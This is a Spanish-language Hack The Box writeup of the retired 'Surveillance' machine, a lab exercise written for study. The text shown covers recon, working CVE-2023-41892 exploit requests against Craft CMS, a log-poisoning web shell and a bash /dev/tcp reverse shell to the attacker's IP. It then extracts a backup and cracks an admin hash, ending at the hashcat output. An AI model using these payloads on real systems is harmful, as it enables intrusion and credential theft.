



HACK THE BOX · LINUX · MEDIUM

Surveillance

Writeup técnico completo ·
explotación reproducible

Máquina Surveillance resuelta

HTB Surveillance · 2026-05-16

Autor	Ramon Santos Sabarich / r4ms4nt
Ficha técnica	Hack The Box · Linux · Medium · Retired
Objetivo	Documentar Craft CMS, pivote a ZoneMinder, user y root con trazabilidad clara y reutilizable
Fecha de resolución	2026-05-16



Informe técnico normalizado para archivo, consulta y trazabilidad.

GUÍA DE LECTURA

Índice

Informe técnico de resolución de la máquina Surveillance. Se conserva la secuencia operativa y se presenta con estructura didáctica para archivo, consulta y estudio.

Criterio de lectura**Mapa ejecutivo de la cadena de compromiso****Separación de hechos, inferencias y ambigüedades**

Hechos verificados

Inferencias razonables

Ambigüedades o incidencias documentadas

1. Introducción del caso**2. Síntesis técnica****3. Preparación y reconocimiento inicial**

Ejecución del script Inici-HTB

Comentario técnico de la salida

4. Explotación inicial — Craft CMS

Punto de partida

Objetivo de esta fase

Comandos de preparación y verificación

Criterio de avance

Evidencia local obtenida

Interpretación

Validación de la primitiva con phpinfo()

Incidencia al intentar escribir la web shell mediante el log

Segundo intento fallido y ajuste de la técnica

Escritura correcta de la web shell

Interpretación

Reverse shell como www-data

Interpretación

Localización y análisis del backup de Craft CMS

Interpretación

Crackeo offline del hash SHA-256

Interpretación

Validación de reutilización de credenciales y acceso SSH como matthew

Enumeración interna y detección de ZoneMinder

Acceso a ZoneMinder mediante túnel SSH

Autenticación contra la API de ZoneMinder

Ejecución remota autenticada en ZoneMinder

Estabilización del acceso como zoneminder

Enumeración de privilegios como zoneminder

Validación de zmdc.pl y opción ZM_LD_PRELOAD

Escalada de privilegios mediante ZM_LD_PRELOAD y zmdc.pl

Lectura de la flag de root y validación final

Resultado

Resumen técnico final

Lecciones reutilizables

Enumeración web con virtual hosts

Validar una primitiva antes de convertirla en shell

Cuidar el quoting local

Backups de aplicación como puente hacia el sistema

No asumir que una credencial de aplicación es una credencial de sistema

Pivotar hacia localhost cambia la superficie

Port forwarding como herramienta de análisis

Las reglas sudo con comodines requieren lectura contextual

LD_PRELOAD como vector de escalada

Surveillance — Hack The Box — Writeup didáctico

Máquina: Surveillance · **Plataforma:** Hack The Box · **Sistema:** Linux · **Dificultad:** Medium · **Estado:** Retired

Fecha de resolución: 16 de mayo de 2026 · **Zona horaria de referencia:** Europe/Madrid

Criterio de lectura

Este informe presenta la resolución técnica de Surveillance con una estructura orientada a estudio, consulta y trazabilidad. El objetivo no es limitarse a una cadena de comandos, sino explicar por qué cada fase tenía sentido, qué evidencias justificaban avanzar y qué aprendizaje reutilizable deja cada decisión.

A lo largo del documento se diferencian tres planos:

- **Hecho verificado:** salida observada, comando ejecutado, fichero encontrado o credencial validada.
- **Inferencia razonable:** conclusión apoyada en evidencias, pero que depende de interpretación técnica.
- **Pendiente de verificar:** punto que no debe darse por cierto si no aparece respaldado por la evidencia del caso.

Cuando una salida era demasiado extensa, se conserva solo el fragmento probatorio para mantener la legibilidad sin perder trazabilidad.

Mapa ejecutivo de la cadena de compromiso

Fase	Evidencia principal	Resultado
Enumeración externa	22/tcp y 80/tcp ; redirección a <code>surveillance.htb</code>	Superficie inicial reducida a SSH y HTTP
Identificación web	X-Powered-By: Craft CMS ; referencia a <code>craftcms/cms/tree/4.4.14</code>	Craft CMS 4.4.14 confirmado
Explotación inicial	CVE-2023-41892 ; ejecución de <code>phpinfo()</code>	Primitiva de ejecución validada
Web shell	Log poisoning + <code>file_put_contents()</code>	Comandos como <code>www-data</code>
Post-explotación Craft	Backup SQL en <code>storage/backups</code>	Hash SHA-256 de <code>Matthew B</code>
Crackeo offline	<code>hashcat -m 1400</code>	Contraseña <code>starcraft122490</code>
Acceso usuario	SSH como <code>matthew</code>	<code>user.txt</code> obtenido
Pivote interno	<code>127.0.0.1:8080</code>	ZoneMinder accesible por túnel
RCE autenticada	API <code>daemonControl</code> de ZoneMinder	Shell como <code>zoneminder</code>
Escalada local	<code>sudo zmdc.pl + ZM_LD_PRELOAD</code>	<code>/bin/bash</code> con SUID
Root	<code>/bin/bash -p</code>	<code>uid=0(root)</code> y <code>root.txt</code>

Separación de hechos, inferencias y ambigüedades

Hechos verificados

- La máquina respondió a escaneos TCP con `22/tcp` y `80/tcp` abiertos.
- El servicio HTTP redirigía a `http://surveillance.htb/`.
- La aplicación web declaraba Craft CMS y el HTML referenciaba la versión `4.4.14`.
- La primitiva de `CVE-2023-41892` ejecutó `phpinfo()`.
- Se escribió una web shell en `/var/www/html/craft/web/shell.php`.
- Se obtuvo una reverse shell como `www-data`.
- El backup SQL de Craft CMS contenía el hash del usuario asociado a `Matthew B`.
- El hash fue crackeado como SHA2-256 y produjo la contraseña `starcraft122490`.
- La contraseña fue válida por SSH para `matthew`.
- El servicio ZoneMinder estaba accesible internamente en `127.0.0.1:8080`.
- La API de ZoneMinder autenticó como `admin` con la misma contraseña.

- La API permitió obtener shell como `zoneminder`.
- El usuario `zoneminder` podía ejecutar scripts `zm*.pl` como `root` mediante `sudo` sin contraseña.
- La opción `ZM_LD_PRELOAD` permitió cargar una biblioteca compartida controlada mediante `zmdc.pl`.
- `/bin/bash -p` proporcionó una shell con `euid=0(root)`.
- Se obtuvo `root.txt` y la plataforma confirmó la resolución completa.

Inferencias razonables

- La falta de respuesta ICMP inicial no implicaba que el host estuviera caído; el escaneo TCP con `-Pn` demostró disponibilidad.
- El TTL observado en Nmap era coherente con Linux detrás de un salto de red.
- El error local durante los primeros intentos de escritura de la web shell se debió a interpretación local de caracteres especiales por la shell atacante, no a un fallo de la primitiva remota.
- La reutilización de contraseña entre Craft CMS, SSH y ZoneMinder fue el nexo que permitió pasar de compromiso web a movimiento lateral interno.
- La combinación de `sudo` sobre `zmdc.pl` y `ZM_LD_PRELOAD` fue el elemento crítico de escalada, no un binario SUID preexistente.

Ambigüedades o incidencias documentadas

- La ejecución inicial de la reverse shell de ZoneMinder mostró una incidencia local al leer el fichero del token, pero la conexión entrante como `zoneminder` validó que la explotación fue efectiva.
- La compilación de la biblioteca en el objetivo falló por falta de `ld`; se corrigió compilando en Parrot y transfiriendo el `.so`.
- El registro técnico inicial terminaba con una frase cortada en la sección de resultado final. En el cuerpo final se completó editorialmente como `scripts zm*.pl`, manteniendo el sentido técnico.

1. Introducción del caso

Surveillance es una máquina Linux, de dificultad Medium, y está retirada en Hack The Box.

2. Síntesis técnica

Surveillance es una máquina orientada a una cadena de compromiso en entorno Linux que combina explotación de aplicación web, análisis de componentes auxiliares expuestos y escalada local de privilegios. La resolución parte de la enumeración de un servicio web basado en un CMS, evoluciona hacia la obtención de ejecución remota en la aplicación y exige continuar con una segunda fase de análisis sobre software adicional desplegado en el sistema antes de alcanzar una escalada completa.

En términos formativos, es una máquina muy útil para reforzar metodología de enumeración web, correlación entre distintos servicios instalados y transición ordenada desde compromiso inicial hasta post-explotación en Linux.

3. Preparación y reconocimiento inicial

Ejecución del script `Inici-HTB`

Para iniciar el laboratorio se utilizó el script propio `Inici-HTB`, empleado como punto de arranque común para las máquinas de Hack The Box. Este script automatiza varias tareas iniciales de preparación y reconocimiento:

- fija el objetivo activo en Polybar mediante `settarget` ;
- prepara la estructura base de trabajo para la máquina;
- comprueba conectividad inicial con el objetivo;
- intenta identificar rápidamente el sistema operativo mediante el valor TTL;
- lanza un escaneo completo de puertos TCP;
- extrae automáticamente los puertos abiertos;
- ejecuta un segundo escaneo de servicios y versiones sobre los puertos detectados;
- genera notas iniciales con el resumen y el siguiente paso sugerido.

La ejecución inicial fue la siguiente:

```
> Inici-HTB Surveillance 10.129.230.42 medium
[*] Fijando objetivo en Polybar con settarget
[*] Preparando directorio base
[*] Comprobando conectividad inicial
PING 10.129.230.42 (10.129.230.42) 56(84) bytes of data.

--- 10.129.230.42 ping statistics ---
1 packets transmitted, 0 received, 100% packet loss, time 0ms

[*] Intentando identificación rápida con whichSystem.py

10.129.230.42 (ttl -> 1): Linux

[*] Lanzando escaneo completo de puertos
[sudo] contraseña para r4mon:
Lo siento, pruebe otra vez.
[sudo] contraseña para r4mon:
```

```
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-05-14 17:09 CEST
Initiating SYN Stealth Scan at 17:09
Scanning 10.129.230.42 [65535 ports]
Discovered open port 80/tcp on 10.129.230.42
Discovered open port 22/tcp on 10.129.230.42
Completed SYN Stealth Scan at 17:09, 12.29s elapsed (65535 total ports)
Nmap scan report for 10.129.230.42
Host is up, received user-set (0.048s latency).
Scanned at 2026-05-14 17:09:30 CEST for 12s
Not shown: 65260 closed tcp ports (reset), 273 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE REASON
22/tcp open  ssh      syn-ack ttl 63
80/tcp open  http     syn-ack ttl 63

Read data files from: /usr/bin/./share/nmap
Nmap done: 1 IP address (1 host up) scanned in 12.46 seconds
Raw packets sent: 66480 (2.925MB) | Rcvd: 65286 (2.611MB)
[*] Extrayendo puertos abiertos
[*] Puertos abiertos detectados: 22,80
[*] Lanzando escaneo de servicios
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-05-14 17:09 CEST
Nmap scan report for 10.129.230.42
Host is up (0.048s latency).

PORT      STATE SERVICE VERSION
22/tcp open  ssh      OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
|_ ssh-hostkey:
|_ 256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA)
|_ 256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519)
80/tcp open  http     nginx/1.18.0 (Ubuntu)
|_ http-title: Did not follow redirect to http://surveillance.htb/
|_ http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.00 seconds
[*] Resumen inicial generado en: /home/r4mon/pentest/targets/HTB/medium/Surveillance/notes/00_resumen_inicial.md
[*] Siguiente paso generado en: /home/r4mon/pentest/targets/HTB/medium/Surveillance/notes/01_siguiente_paso.txt
[*] Flujo inicial completado
```

Comentario técnico de la salida

La comprobación inicial mediante `ping` no obtuvo respuesta ICMP, con un 100% de pérdida de paquetes. Este resultado no debe interpretarse como que el host esté caído, ya que en entornos de laboratorio es habitual que ICMP esté filtrado o no sea fiable como único indicador de disponibilidad. El propio flujo continúa correctamente porque el escaneo TCP se ejecuta con `-Pn`, indicando a Nmap que trate el objetivo como activo sin depender del descubrimiento previo de host.

La identificación rápida basada en TTL apunta a un sistema Linux. Aunque la línea muestra `ttl -> 1`, la evidencia más fiable aparece después en el escaneo SYN, donde los puertos abiertos responden con `ttl 63`. Este valor es coherente con un sistema Linux situado a un salto de red desde la máquina atacante, partiendo habitualmente de un TTL inicial de 64.

El escaneo completo de puertos TCP detectó únicamente dos servicios expuestos:

Puerto	Estado	Servicio	Observación inicial
22/tcp	open	SSH	Servicio de administración remota
80/tcp	open	HTTP	Servicio web principal

El segundo escaneo, centrado en detección de servicios y versiones, identificó `OpenSSH 8.9p1 Ubuntu 3ubuntu0.4` en el puerto 22 y `nginx 1.18.0 (Ubuntu)` en el puerto 80. La cabecera del servidor confirma nginx sobre Ubuntu, y el título HTTP indica una redirección hacia `http://surveillance.htb/`.

Esta redirección es un hallazgo importante de enumeración: antes de continuar con el análisis web, el nombre `surveillance.htb` debe resolverse localmente hacia la IP de la máquina. Sin esa entrada en `/etc/hosts`, algunas rutas, recursos, virtual hosts o comportamientos de la aplicación podrían no observarse correctamente.

El punto de partida queda, por tanto, claramente definido: la superficie inicial se limita a SSH y HTTP, y la prioridad metodológica pasa a ser la enumeración web sobre el virtual host `surveillance.htb`.

4. Explotación inicial — Craft CMS

Punto de partida

Tras el reconocimiento inicial, la superficie útil queda centrada en el servicio HTTP expuesto en el puerto 80. El servidor redirige hacia el virtual host `surveillance.htb`, por lo que la resolución local del hostname es un requisito previo para observar correctamente la aplicación.

El writeup oficial de Hack The Box describe la vía inicial como una explotación de Craft CMS mediante `CVE-2023-41892`, una vulnerabilidad de inyección de objetos PHP que permite cargar clases y abusar de los logs de la aplicación para alcanzar ejecución remota de código. Antes de utilizar esta información como ruta operativa, se debe confirmar localmente que la aplicación observada corresponde realmente a Craft CMS y que la versión visible encaja con la cadena documentada.

Objetivo de esta fase

El objetivo inmediato no es obtener una shell de forma precipitada, sino cerrar tres validaciones previas:

1. confirmar que `surveillance.htb` resuelve contra la IP activa de la máquina;
2. confirmar que la web expone Craft CMS y, si es posible, su versión;

3. validar de forma mínima la primitiva asociada a `CVE-2023-41892` antes de pasar a escritura de web shell o reverse shell.

Comandos de preparación y verificación

```
TARGET_IP="10.129.230.42"
TARGET_HOST="surveillance.htb"
LAB="/home/r4mon/pentest/targets/HTB/medium/Surveillance"

cd "$LAB"
mkdir -p scans www notes loot

getent hosts "$TARGET_HOST" || echo "$TARGET_IP $TARGET_HOST" | sudo tee -a /etc/hosts
getent hosts "$TARGET_HOST"

curl -i "http://$TARGET_IP" | tee scans/http_ip_redirect.txt
curl -i "http://$TARGET_HOST" | tee scans/http_host_headers_body.txt

curl -sS "http://$TARGET_HOST" -o www/index.html

grep -RniE 'craft|cms|powered|version|github|surveillance' www/index.html scans/http_host_headers_body.txt
whatweb "http://$TARGET_HOST" | tee scans/whatweb_surveillance.txt
```

Criterio de avance

La fase solo debe pasar a explotación de Craft CMS si se observa evidencia local de:

- aplicación web servida correctamente mediante `surveillance.htb` ;
- referencia a Craft CMS o a componentes compatibles;
- versión o señal suficiente para sostener la hipótesis de `CVE-2023-41892` ;
- respuesta coherente del endpoint `/index.php` .

Si cualquiera de estas piezas no aparece, la ruta oficial debe tratarse como hipótesis externa pendiente de ajustar al estado real del laboratorio.

Evidencia local obtenida

Se configuró el entorno de trabajo y se fijaron las variables de objetivo:

```
cd /home/r4mon/pentest/targets/HTB/medium/Surveillance

TARGET_IP="10.129.230.42"
TARGET_HOST="surveillance.htb"
LAB="/home/r4mon/pentest/targets/HTB/medium/Surveillance"

cd "$LAB"
mkdir -p scans www notes loot
```

A continuación se validó la resolución local del virtual host. Como `surveillance.htb` todavía no resolvía, se añadió la entrada correspondiente en `/etc/hosts` :

```
getent hosts "$TARGET_HOST" || echo "$TARGET_IP $TARGET_HOST" | sudo tee -a /etc/hosts
getent hosts "$TARGET_HOST"
```

Salida relevante:

```
10.129.230.42 surveillance.htb
10.129.230.42 surveillance.htb
```

Después se comparó el comportamiento HTTP accediendo por IP y por hostname:

```
curl -i "http://$TARGET_IP" | tee scans/http_ip_redirect.txt
curl -i "http://$TARGET_HOST" | tee scans/http_host_headers_body.txt
```

La respuesta por IP devolvió una redirección `302 Moved Temporarily` hacia `http://surveillance.htb/`, confirmando que el virtual host es necesario para interactuar correctamente con la aplicación.

Fragmento relevante:

```
HTTP/1.1 302 Moved Temporarily
Server: nginx/1.18.0 (Ubuntu)
Location: http://surveillance.htb/
```

La respuesta por hostname devolvió `200 OK`, cabecera `X-Powered-By: Craft CMS` y una página corporativa titulada `Surveillance`.

Fragmento relevante:

```
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Content-Type: text/html; charset=UTF-8
X-Powered-By: Craft CMS

<title> Surveillance </title>
```

La salida HTML completa era extensa, por lo que no se reproduce íntegramente. Los elementos relevantes fueron el título de la página, la cabecera `X-Powered-By`, el correo `demo@surveillance.htb` y el pie de página que identifica explícitamente Craft CMS.

Se guardó una copia local del HTML y se buscaron indicadores de tecnología, versión y referencias a Craft CMS:

```
curl -sS "http://$TARGET_HOST" -o www/index.html

grep -RniE 'craft|cms|powered|version|github|surveillance' \
  www/index.html scans/http_host_headers_body.txt

whatweb "http://$TARGET_HOST" | tee scans/whatweb_surveillance.txt
```

La evidencia más importante aparece en el footer:

```
Powered by <a href="https://github.com/craftcms/cms/tree/4.4.14"/>Craft CMS</a>
```

Y `whatweb` confirmó la misma tecnología desde cabeceras y fingerprinting ligero:

```
http://surveillance.htb [200 OK] Bootstrap, Email[demo@surveillance.htb], HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], JQuery[3.4.1], Title[Surveillance], X-Powered-By[Craft CMS], nginx[1.18.0]
```

Interpretación

La evidencia local confirma que la aplicación principal se sirve correctamente a través de `surveillance.htb`, que el backend declara `Craft CMS` mediante la cabecera `X-Powered-By` y que el footer referencia el repositorio oficial de Craft CMS en la rama `4.4.14`.

Con estos datos, la hipótesis del writeup oficial queda alineada con el entorno observado: la ruta de explotación inicial debe centrarse en Craft CMS `4.4.14` y en la vulnerabilidad `CVE-2023-41892`.

El siguiente paso metodológico consiste en validar de forma controlada la primitiva de inyección de objetos PHP contra `/index.php`, empezando por una función inocua como `phpinfo()` antes de intentar escribir una web shell o lanzar una reverse shell.

Validación de la primitiva con `phpinfo()`

Se preparó una petición POST que abusa del flujo `conditions/render` y de la clase `GuzzleHttp\Psr7\FnStream` para ejecutar una función sin argumentos. En esta primera prueba se utilizó `phpinfo()` por ser una función inocua y útil para confirmar ejecución y recuperar rutas internas.

Comandos ejecutados:

```
cd /home/r4mon/pentest/targets/HTB/medium/Surveillance

cat > loot/craft_phpinfo_request.txt <<'EOF'
action=conditions/
render&test[userCondition]=craft\elements\conditions\users\UserCondition&config={"name":"test[userCondition]","
as xyz":{"class":"\\GuzzleHttp\\Psr7\\FnStream","__construct()": [{"close":null},"_fn_close":"phpinfo"]}
EOF

curl -sS -i -X POST 'http://surveillance.htb/index.php' -H 'Content-Type: application/x-www-form-urlencoded' --
data-binary @loot/craft_phpinfo_request.txt -o scans/craft_phpinfo_response.html

grep -Ei 'PHP Version|phpinfo|DOCUMENT_ROOT|error_log|Craft|SERVER_SOFTWARE|SCRIPT_FILENAME' scans/
craft_phpinfo_response.html | head -n 40
```

La respuesta confirmó la ejecución de `phpinfo()`:

```
<title>PHP 8.1.2-1ubuntu2.14 - phpinfo()</title>
PHP Version 8.1.2-1ubuntu2.14
```

También permitió recuperar rutas internas y variables de entorno relevantes:

```
error_log => /var/www/html/craft/storage/logs/phperrors.log
SCRIPT_FILENAME => /var/www/html/craft/web/index.php
DOCUMENT_ROOT => /var/www/html/craft/web
```

```
SERVER_SOFTWARE => nginx/1.18.0
CRAFT_ENVIRONMENT => production
CRAFT_DB_DRIVER => mysql
CRAFT_DB_SERVER => 127.0.0.1
CRAFT_DB_PORT => 3306
CRAFT_DB_DATABASE => craftdb
CRAFT_DB_USER => craftuser
CRAFT_DB_PASSWORD => CraftCMSPassword2023!
```

La salida completa de `phpinfo()` no se reproduce íntegramente por su extensión. Para el writeup son suficientes los indicadores que demuestran ejecución y las rutas internas necesarias para la siguiente fase.

La prueba confirma que la primitiva de `CVE-2023-41892` es funcional en el entorno real. Además, `DOCUMENT_ROOT` identifica el directorio desde el que se sirve la aplicación:

```
/var/www/html/craft/web
```

Este dato permite construir la fase posterior: inyectar código PHP en los logs de Craft CMS y forzar su carga para escribir una web shell dentro del directorio web.

Incidencia al intentar escribir la web shell mediante el log

Tras validar `phpinfo()`, se intentó escribir `shell.php` en el document root usando el log web diario de Craft CMS como puente. La fecha usada para el log fue `2026-05-14`, coherente con la fecha observada en las respuestas HTTP del servidor.

Comandos ejecutados:

```
cd /home/r4mon/pentest/targets/HTB/medium/Surveillance

LOG_DATE="2026-05-14"
LOG_FILE="/var/www/html/craft/storage/logs/web-{$LOG_DATE}.log"
WEB_SHELL="/var/www/html/craft/web/shell.php"

echo "$LOG_FILE"
echo "$WEB_SHELL"
```

Salida relevante:

```
/var/www/html/craft/storage/logs/web-2026-05-14.log
/var/www/html/craft/web/shell.php
```

Se creó después el cuerpo de la petición que fuerza la inclusión del log mediante `yii/rbac/PhpManager`. La visualización del fichero con el paginador mostró la ruta partida visualmente en dos líneas, pero eso corresponde al ajuste de línea de la salida y no demuestra por sí mismo que el fichero contenga un salto real.

Al enviar la petición con el PHP dentro del `User-Agent`, apareció el error local:

```
preexec: no existe el fichero o el directorio: /var/www/html/craft/web/shell.php
```

La comprobación posterior de la web shell devolvió una página `Page Not Found` de Craft CMS, por lo que `shell.php` no llegó a escribirse:

```
curl -sS 'http://surveillance.htb/shell.php?cmd=id' | tee scans/webshell_id.txt
```

Interpretación:

El error se produjo en el entorno atacante antes de que la petición llegara a tener el efecto esperado en el objetivo. La causa más probable es que la shell local interpretara parte del contenido del `User-Agent`, especialmente el fragmento entre backticks, como sustitución de comandos local. Al intentar redirigir hacia `/var/www/html/craft/web/shell.php` en la máquina atacante, esa ruta no existía y se generó el error.

La conclusión metodológica es importante: cuando se transporta código PHP, backticks, redirecciones o caracteres especiales dentro de una cabecera HTTP, conviene evitar que la shell local los interprete. La forma más limpia de continuar es mover la cabecera a un fichero de configuración o usar una construcción que no exponga esos caracteres directamente al intérprete local.

Segundo intento fallido y ajuste de la técnica

Se repitió la comprobación de la web shell y la aplicación volvió a responder con la página `Page Not Found` de Craft CMS. Por tanto, `shell.php` seguía sin existir en el document root.

La salida volvió a mostrar el error local:

```
preexec: no existe el fichero o el directorio: /var/www/html/craft/web/shell.php
```

Este resultado refuerza la interpretación anterior: el problema no está en la primitiva de `CVE-2023-41892`, ya validada con `phpinfo()`, sino en la forma de transportar el payload de escritura. El uso de backticks y redirección dentro del `User-Agent` sigue siendo frágil en el entorno atacante.

El ajuste metodológico consiste en eliminar por completo backticks, redirecciones de shell y sustituciones interpretables localmente. En lugar de escribir `shell.php` mediante un comando de sistema embebido en la cabecera, se debe inyectar PHP puro que use `file_put_contents()` y `base64_decode()` para crear la web shell. Esta variante reduce la dependencia del quoting local y mantiene la explotación dentro del intérprete PHP remoto.

Escritura correcta de la web shell

Para evitar que la shell local interpretara caracteres especiales del payload, se sustituyó la técnica basada en backticks por una variante basada en PHP puro. En lugar de ejecutar un comando de sistema con redirección, el código inyectado en el log utilizó `file_put_contents()` y `base64_decode()` para escribir la web shell directamente desde el intérprete PHP remoto.

Comandos ejecutados:

```
cd /home/r4mon/pentest/targets/HTB/medium/Surveillance

LOG_DATE="2026-05-14"
LOG_FILE="/var/www/html/craft/storage/logs/web-{$LOG_DATE}.log"

cat > loot/craft_log_include_body.txt <<EOF
action=conditions/
render&configObject=craft\elements\conditions\ElementCondition&config={"name":"configObject","as":{"class":"\yii\rbac\PhpManager","__construct()":{"itemFile":"$LOG_FILE"}}}
EOF

cat > loot/curl_poison_log_php_pure.conf <<'EOF'
url = "http://surveillance.htb/index.php"
request = "POST"
header = "Content-Type: application/x-www-form-urlencoded"
header = "User-Agent: <?php file_put_contents('/var/www/html/craft/web/shell.php',
base64_decode('PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+')); ?>"
data-binary = "@loot/craft_log_include_body.txt"
output = "scans/craft_log_poison_php_pure_response.txt"
include
silent
show-error
EOF

curl --config loot/curl_poison_log_php_pure.conf
curl --config loot/curl_poison_log_php_pure.conf

curl -sS 'http://surveillance.htb/shell.php?cmd=id' | tee scans/webshell_id.txt

printf '
--- Resumen webshell_id.txt ---
'

grep -E 'uid=|gid=|www-data|Page Not Found|404|error' scans/webshell_id.txt | head -n 20
```

Salida relevante:

```
uid=33(www-data) gid=33(www-data) groups=33(www-data)

--- Resumen webshell_id.txt ---
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

Interpretación

La web shell quedó escrita correctamente en el document root de Craft CMS y permitió ejecutar comandos como `www-data`. Esta salida cierra la fase de explotación inicial de Craft CMS: la vulnerabilidad no solo permite invocar funciones como `phpinfo()`, sino también escribir un fichero PHP controlado y obtener ejecución remota de comandos en el contexto del usuario del servidor web.

La diferencia clave entre el intento fallido y el exitoso fue el transporte del payload. La variante con backticks y redirección era frágil porque podía ser interpretada por la shell local. La variante final usó funciones PHP nativas y redujo el riesgo de interferencia local.

Reverse shell como `www-data`

Con la web shell validada, se lanzó una reverse shell hacia la interfaz VPN del atacante. La IP local se obtuvo dinámicamente desde `tun0` para evitar hardcodear el LHOST.

Comando ejecutado desde la máquina atacante para disparar la conexión:

```
cd /home/r4mon/pentest/targets/HTB/medium/Surveillance

LHOST="$(ip -o -4 addr show tun0 | awk '{print $4}' | cut -d/ -f1)"
LPORT="4444"

echo "[*] LHOST=$LHOST"
echo "[*] LPORT=$LPORT"

PAYLOAD="bash -c 'bash -i >& /dev/tcp/${LHOST}/${LPORT} 0>&1'"

curl -G 'http://surveillance.htb/shell.php' \
  --data-urlencode "cmd=$PAYLOAD" \
  -o scans/trigger_revshell_www-data_response.txt
```

Salida relevante:

```
[*] LHOST=10.10.15.26
[*] LPORT=4444
```

En una segunda terminal se mantuvo un listener con `nc` y se guardó la sesión en fichero:

```
cd /home/r4mon/pentest/targets/HTB/medium/Surveillance

nc -lvnp 4444 | tee scans/revshell_www-data_nc.txt
```

La conexión entrante confirmó una shell como `www-data` desde la IP objetivo:

```
listening on [any] 4444 ...
connect to [10.10.15.26] from (UNKNOWN) [10.129.230.42] 43198
bash: cannot set terminal process group (999): Inappropriate ioctl for device
bash: no job control in this shell
www-data@surveillance:~/html/craft/web$
```

La shell se estabilizó mínimamente con `script`, se ajustó `TERM` y se validó el contexto:

```
script /dev/null -c bash
export TERM=xterm
stty rows 40 columns 120
id
whoami
hostname
pwd
ls -la
```

Salida relevante:

```
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data
surveillance
/var/www/html/craft/web
```

El listado del directorio confirmó la presencia de la web shell escrita durante la explotación:


```
-rw-r--r-- 1 www-data www-data 30 May 14 16:04 shell.php
```

Interpretación

La fase de acceso inicial queda completada. La explotación de Craft CMS permitió pasar de una primitiva de ejecución controlada a una shell interactiva como `www-data`, ubicada en el directorio web de la aplicación:

```
/var/www/html/craft/web
```

A partir de este punto, la metodología cambia de explotación web a enumeración local post-foothold. Según la ruta oficial, el siguiente objetivo razonable es revisar la estructura de Craft CMS y buscar backups generados por la aplicación, especialmente bajo rutas de almacenamiento como `storage/backups`.

Localización y análisis del backup de Craft CMS

Tras obtener shell como `www-data`, se cambió el foco de explotación web a enumeración local de la aplicación Craft CMS. El directorio raíz de la aplicación contenía ficheros de configuración, dependencias, plantillas, almacenamiento y el directorio web.

Comandos ejecutados:

```
cd /var/www/html/craft
pwd
ls -la
find . -maxdepth 4 -type f \( -iname "*.zip" -o -iname "*.sql" -o -iname "*.db" -o -iname "*.env" -o -iname "*.bak" \) 2>/dev/null
ls -la storage
ls -la storage/backups 2>/dev/null
```

Salida relevante:

```
/var/www/html/craft
-rw-r--r-- 1 www-data www-data 836 Oct 21 2023 .env
./storage/backups/surveillance--2023-10-17-202801--v4.4.14.sql.zip
./env
```

El directorio `storage/backups` contenía un backup SQL comprimido generado por Craft CMS:

```
-rw-r--r-- 1 root root 19918 Oct 17 2023 surveillance--2023-10-17-202801--v4.4.14.sql.zip
```

Se revisó el contenido del ZIP:

```
cd /var/www/html/craft/storage/backups
unzip -l *.zip
```

Salida relevante:

```
Archive:  surveillance--2023-10-17-202801--v4.4.14.sql.zip
Length   Date    Time    Name
-----
113365   2023-10-17  20:33   surveillance--2023-10-17-202801--v4.4.14.sql
```

Tras un primer intento fallido por no haber copiado correctamente el ZIP a `/tmp`, se repitió la copia y extracción:

```
cd /var/www/html/craft/storage/backups
cp surveillance--2023-10-17-202801--v4.4.14.sql.zip /tmp/craft_backup.zip

cd /tmp
unzip -o craft_backup.zip
ls -la
grep -RniE "INSERT INTO .*users|admin@|Matthew|password|hash" surveillance--2023-10-17-202801--v4.4.14.sql 2>/dev/null
```

Salida relevante:

```
Archive:  craft_backup.zip
inflating: surveillance--2023-10-17-202801--v4.4.14.sql
```

La búsqueda dentro del SQL localizó la tabla de usuarios y un registro para el usuario administrador de Craft CMS:

```
INSERT INTO `users` VALUES (1,NULL,1,0,0,0,1,'admin','Matthew
B','Matthew','B','admin@surveillance.htb','39ed84b22ddc63ab3725a1820aaa7f73a8f3f10d0848123562c9f35c675770ec',..
.);
```

Interpretación

El backup SQL contiene una credencial derivada de la aplicación: usuario `admin`, identidad asociada `Matthew B`, correo `admin@surveillance.htb` y un hash de contraseña.

El hash extraído es:

```
39ed84b22ddc63ab3725a1820aaa7f73a8f3f10d0848123562c9f35c675770ec
```

Por longitud y formato hexadecimal, encaja con un hash SHA-256 sin sal visible en el propio registro. El siguiente paso consiste en extraerlo a un fichero y realizar crackeo offline. Si se obtiene una contraseña, deberá validarse de forma ordenada contra identidades locales reales del sistema, especialmente porque el nombre `Matthew` aparece asociado al usuario de Craft CMS.

Crackeo offline del hash SHA-256

El hash extraído del backup SQL se trasladó a la máquina atacante para realizar crackeo offline. Antes de lanzar `hashcat`, se identificó el formato probable con `hashid`.

Comandos ejecutados en la máquina atacante:

```
cd /home/r4mon/pentest/targets/HTB/medium/Surveillance

cat > loot/matthew_hash.txt <<'EOF'
39ed84b22ddc63ab3725a1820aaa7f73a8f3f10d0848123562c9f35c675770ec
EOF

hashid loot/matthew_hash.txt
hashcat -m 1400 loot/matthew_hash.txt /usr/share/wordlists/rockyou.txt --show
```

`hashid` propuso varias familias posibles para un digest hexadecimal de 256 bits, entre ellas SHA-256 :

```
[+] Snefru-256
[+] SHA-256
[+] RIPEMD-256
[+] Haval-256
[+] GOST R 34.11-94
[+] SHA3-256
[+] Skein-256
```

Como el modo `--show` todavía no tenía resultado en la caché de hashcat, se lanzó el crackeo con modo `1400`, correspondiente a SHA2-256:

```
hashcat -m 1400 loot/matthew_hash.txt /usr/share/wordlists/rockyou.txt
hashcat -m 1400 loot/matthew_hash.txt /usr/share/wordlists/rockyou.txt --show
```

Salida relevante:

```
